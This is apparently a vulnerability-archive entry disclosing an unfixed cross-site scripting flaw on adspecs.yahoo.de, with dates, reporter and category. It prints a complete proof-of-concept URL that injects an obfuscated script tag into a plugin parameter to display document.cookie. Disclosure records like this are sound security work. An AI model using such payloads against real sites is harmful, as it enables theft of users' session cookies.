Security researcher InSecurity.Ro, has submitted on 08/10/2010 a cross-site-scripting (XSS) vulnerability affecting adspecs.yahoo.de, which at the time of submission ranked 194505 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 20/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 08/10/2010 |
Date published: 20/12/2011 |
Fixed? Mail us! | Status: UNFIXED |
Author: InSecurity.Ro |
Domain: adspecs.yahoo.de |
Category: XSS |
Pagerank: 194505 |
URL: http://adspecs.yahoo.de/wp-content/plugins/spectacular/ajax.php?ys_action=addtocart&cb=0%2E350199495 10827885&pgid=1--%3E%3CScRiPt%20%0d%0a%3Ealert(document.cookie)%3B%3C/ScRiPt%3E&prop=aol_de_frontpag e |
Click here to view the mirror
|
|
|